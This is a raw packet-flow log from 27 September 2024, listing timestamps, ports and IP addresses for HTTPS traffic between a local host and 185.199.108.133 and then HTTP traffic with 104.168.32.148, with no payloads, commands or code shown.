Sep 27, 2024 12:51:53.574080944 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.574098110 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.574105978 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.574136972 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.574454069 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.574491978 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.574508905 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.574517965 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.574536085 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.574557066 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.574743986 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.574784040 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.574805021 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.574815035 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.574827909 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.575561047 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.575593948 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.575618982 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.575634003 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.575650930 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.575864077 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.575900078 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.575920105 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.575931072 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.575946093 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.576025963 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.576663971 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.576692104 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.576726913 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.576740026 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.576751947 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.576836109 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.576968908 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.576997042 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.577025890 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.577035904 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.577049017 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.577925920 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.577960968 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.578001022 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.578008890 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.578025103 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.578255892 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.578284979 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.578309059 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.578318119 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:53.578329086 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.579540014 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:53.781735897 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.616090059 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616106987 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616141081 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616149902 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616187096 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616210938 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.616233110 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616245031 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.616255045 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.616275072 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.616914988 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616925001 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616952896 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616966009 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616975069 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.616976976 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.616996050 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.617011070 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.617016077 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.617029905 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.617057085 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.617867947 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.617880106 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.617908001 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.617933989 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.617942095 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.617950916 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.617964983 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.617980003 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.618284941 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.618320942 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.618345022 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.618355989 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.618367910 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.619282961 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.619322062 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.619338036 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.619348049 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.619362116 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.619374990 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.619688034 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.619716883 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.619745016 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.619755983 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.619767904 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.620157957 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.620194912 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.620208025 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.620218039 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.620240927 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.625231028 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.625261068 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.625303984 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.625313997 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.625330925 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.639556885 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.639601946 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.639653921 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.639666080 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.639678001 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.654311895 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.654347897 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.654397011 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.654407024 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.654417992 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.668939114 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.668986082 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.669009924 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.669020891 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.669045925 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.683288097 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.683317900 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.683378935 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.683396101 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.683412075 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.687941074 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.697614908 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.697647095 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.697702885 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.697711945 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.697726965 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.700839996 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.711858988 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.711895943 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.711993933 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.711993933 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.712004900 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.714915037 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.726377010 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.726408005 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.726448059 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.726455927 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.726480961 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.727055073 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.740358114 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.740396976 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.740432024 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.740438938 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.740462065 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.740484953 CEST	443	49173	185.199.108.133	192.168.2.22
Sep 27, 2024 12:51:54.740530968 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.745313883 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.755522013 CEST	49173	443	192.168.2.22	185.199.108.133
Sep 27, 2024 12:51:54.888302088 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:54.893352985 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:54.893600941 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.024710894 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.029736042 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.493712902 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.493740082 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.493756056 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.493769884 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.493778944 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.493784904 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.493793964 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.493830919 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.493907928 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.494344950 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.494359016 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.494374990 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.494390965 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.494415998 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.494451046 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.494642019 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.501159906 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.501209974 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.501228094 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.501262903 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.501307964 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.501327038 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.501342058 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.501349926 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.501357079 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.501372099 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.501382113 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.501415014 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.502897024 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.502912045 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.502924919 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.502938986 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.502954006 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.502969027 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.502971888 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.502985001 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.502998114 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.503000975 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.503017902 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.503031969 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.503032923 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.503067017 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.503217936 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.503261089 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.506053925 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.506109953 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.506164074 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.506237984 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.506417036 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.506467104 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.557205915 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557241917 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557275057 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557295084 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.557307959 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557358027 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.557364941 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557419062 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557473898 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.557488918 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557522058 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557549000 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.557555914 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557590961 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.557606936 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.558254004 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.558307886 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.558326006 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.558376074 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.558408976 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.558422089 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.558444023 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.558492899 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.558866978 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.558919907 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.558952093 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.558962107 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.559099913 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.559133053 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.559148073 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.559165001 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.559205055 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.559218884 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.559837103 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.559889078 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.562319994 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.562352896 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.562386990 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.562411070 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.562421083 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.562469006 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.562731981 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.562763929 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.562797070 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.562818050 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.562829971 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.562879086 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.563117027 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.563148975 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.563194036 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.563199997 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.563234091 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.563277960 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.563649893 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.563683033 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.563730955 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.563870907 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.563950062 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.563982964 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.563996077 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.564018011 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.564065933 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.564424992 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.564475060 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.564506054 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.564526081 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.645935059 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.645988941 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646023989 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646053076 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646055937 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646080017 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646090031 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646138906 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646143913 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646173000 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646203995 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646222115 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646254063 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646286011 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646306992 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646318913 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646351099 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646372080 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646424055 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646471977 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646482944 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646503925 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646553040 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646559954 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646585941 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646616936 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646634102 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646648884 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646683931 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646697044 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646769047 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646800041 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646817923 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.646832943 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646864891 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.646878958 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.647089958 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647139072 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.647140980 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647175074 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647219896 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.647252083 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647283077 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647315025 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647329092 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.647346973 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647381067 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647397995 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.647480011 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647512913 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647524118 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.647546053 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647578001 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647592068 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.647610903 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647644043 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.647655010 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.648036003 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648092031 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648103952 CEST	49174	80	192.168.2.22	104.168.32.148
